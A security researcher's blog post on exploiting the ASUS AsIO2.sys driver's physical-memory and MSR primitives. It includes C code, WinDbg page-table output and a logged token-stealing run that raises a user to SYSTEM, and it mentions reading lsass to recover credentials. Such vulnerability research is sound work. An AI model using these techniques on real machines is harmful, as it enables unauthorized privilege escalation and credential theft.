ASUS ASIO2.sys exploitation
04 Apr 2020This post is a follow up to the vuln research in ASUS AsIO2 driver, which provides, among others,
Everyone
the following primitives:
- arbitrary MSR read and write
- R/W access to arbitrary physical memory
- a stack based buffer overflow
My initial tests on physical memory seemed to indicate it was read-only, but
they were a result of me inverting the results of AllocatePhysMemory
…
However, it’s interesting to see how one can check the mappings between virtual and physical.
The following code will alloc physical memory using AsIO2, and map a new user
accessible page and dump the content (AllocatePhysMemory
is broken in x64, as we’ll see):
uint32_t phys_addr;
uint32_t virt_addr;
phys_addr = AllocatePhysMemory(0x1000, &virt_addr);
printf("AllocatePhysMemory: (virtual: %08x / physical: %08x)\n", virt_addr, phys_addr);
// Map the newly allocated physical mem
value = ASIO_MapMem(phys_addr, 0x1000);
unsigned char *ptr = (unsigned char*)value;
printf("Ptr: %p\n", ptr);
memcpy(ptr, "etst", 4);
hexdump("new mem", (void *)value, 0x10);
getchar(); // Used to flush the display and wait to trigger the breakpoint
DebugBreak();
Let’s put a breakpoint right after the call to MmAllocateContiguousMemory
and run the code:
0: kd> bp AsIO2+0x1a80 "r rax; g"
0: kd> g
...
rax=ffffbb80e416c000
Break instruction exception - code 80000003 (first chance)
KERNELBASE!wil::details::DebugBreak+0x2:
0033:00007ffe`90f40bb2 cc int 3
Now we can check which physical page is mapped to 0xffffbb80e416c000
:
0: kd> !pte ffffbb80e416c000
VA ffffbb80e416c000
PXE at FFFFF77BBDDEEBB8 PPE at FFFFF77BBDD77018 PDE at FFFFF77BAEE03900 PTE at FFFFF75DC0720B60
contains 0A00000003C30863 contains 0A00000003C31863 contains 0A000000502AD863 contains 0A000000BF348863
pfn 3c30 ---DA--KWEV pfn 3c31 ---DA--KWEV pfn 502ad ---DA--KWEV pfn bf348 ---DA--KWEV
As the PTE is 0x0A000000BF348863
, we know the physical address is 0xBF348000
The shell displays:
AllocatePhysMemory: (virtual: e416c000 / physical: bf348000)
Ptr: 0000000000188000
new mem
0000 10 59 de 73 dc ee ff ff 50 4c e6 73 dc ee ff ff .Y.s....PL.s....
Note that the virtual address returned is:
- a kernel one, unusable for userland
- truncated as the driver only returns 32 bits.
So let’s check 0x188000
is mapped to the same physical address:
0: kd> !pte 188000
VA 0000000000188000
PXE at FFFFF77BBDDEE000 PPE at FFFFF77BBDC00000 PDE at FFFFF77B80000000 PTE at FFFFF70000000C40
contains 8A00000057BBC867 contains 0A00000057BBD867 contains 0A000000447C2867 contains 8A000000BF348867
pfn 57bbc ---DA--UW-V pfn 57bbd ---DA--UWEV pfn 447c2 ---DA--UWEV pfn bf348 ---DA--UW-V
As you can see, the PTE contains the same physical address, however, the letter U
instead of K
shows the
virtual address is accessible to userland. And the W
that is it writable. Neat !
Exploit goals and strategy
So my goal here is to get our userland process to have SYSTEM
privileges.
As we have access to physical memory, we could also leak sensitive data, for
example by target lsass
to recover credentials.
While researching various exploit strategies, I found that many drivers exhibit such vulnerabilities and that research is rather abundant. The following works were very useful:
- ReWolf’s blog post and exploit
- Ryan Warns and Timothy Harrison’s MSR Madness at INFILTRATE 2019
- Jesse Michael and Mickey Shkatov’s Get off the kernel if you can’t drive at DEF CON 27
Only having access to physical memory makes exploitation a bit more interesting:
- we don’t have access to
MmGetPhysicalAddress
to do VA to PA translation - so we have no direct way to find interesting structures or secrets
Exploit: token stealing
Token stealing is a well known technique used for LPE, where one rewrites the token pointer in the attacker’s process to point to a privileged process’ token.
Morten Schenk has a good blog post explaining the technique.
Here, however, we have the following constraint:
- we are in userland, so we do not know where our
EPROCESS
structure is in memory - we don’t know where our
cr3
points, either - thanks to KASLR, there are no interesting structure at fixed physical addresses (at least that’s what I believe, with my limited knowledge of Windows internals)
I initially thought that I could use volatility’s techniques to find the interesting structures. But when I found ReWolf’s exploit I realized that it was just perfect: one just needs to implement a new class which will provide the exploit access to the target’s physical memory, which is trivial in our case.
Adding AsIO2 support to ReWolf’s exploit
Adding the provider
The WinIO
provider in ReWolf’s exploit is basically identical to ours, except
for the DeviceIoControl
code. So no need to detail it, I just added a log to
tell the user if opening the device failed (in case the ASUSCERT
resource is
invalid for example).
Compiling under MinGW
Of course I was not going to use Visual Studio to compile the exploit, but as it’s written in (over-engineered, in ReWolf’s own words) C++, I feared compilation would be complex.
Well, not really, I had to patch a few things such as:
- broken includes due to case
- add an explicit
extern
forGetPhysicallyInstalledSystemMemory
- patched
bstr_t
toSysAllocString
(Update: actually, I just needed to includecomutil.h
) - detecting the Windows 10 version to handle the new offset for
Token
in version 1909
Update: A friend pointed me to NtDiff which is very usefull to spot offset changes.
And of course I had to add the ASUSCERT
resource entry, as described in the
first post.
After doing this, running the exploit is trivial:
C:\Users\toto\Desktop>exploit asio
Win10 1909+ detected, using 0x360 for Token offset
Whoami: desktop-fa65285\toto
Found wininit.exe PID: 00000210
Looking for wininit.exe EPROCESS...
[+] Asusgio2 device opened
EPROCESS: wininit.exe, token: ffff9686b43270a8, PID: 0000000000000210
Stealing token...
Stolen token: ffff9686b43270a8
Looking for exploit.exe EPROCESS...
EPROCESS: exploit.exe, token: ffff9686b91df069, PID: 00000000000011d0
Reusing token...
Write at : 00000000001663e0
Whoami: nt authority\system
Exploit code
Grab it on GitHub.
Going further
If you want more shitty driver exploits, check hfiref0x’s gist and add support for them in the tool ;)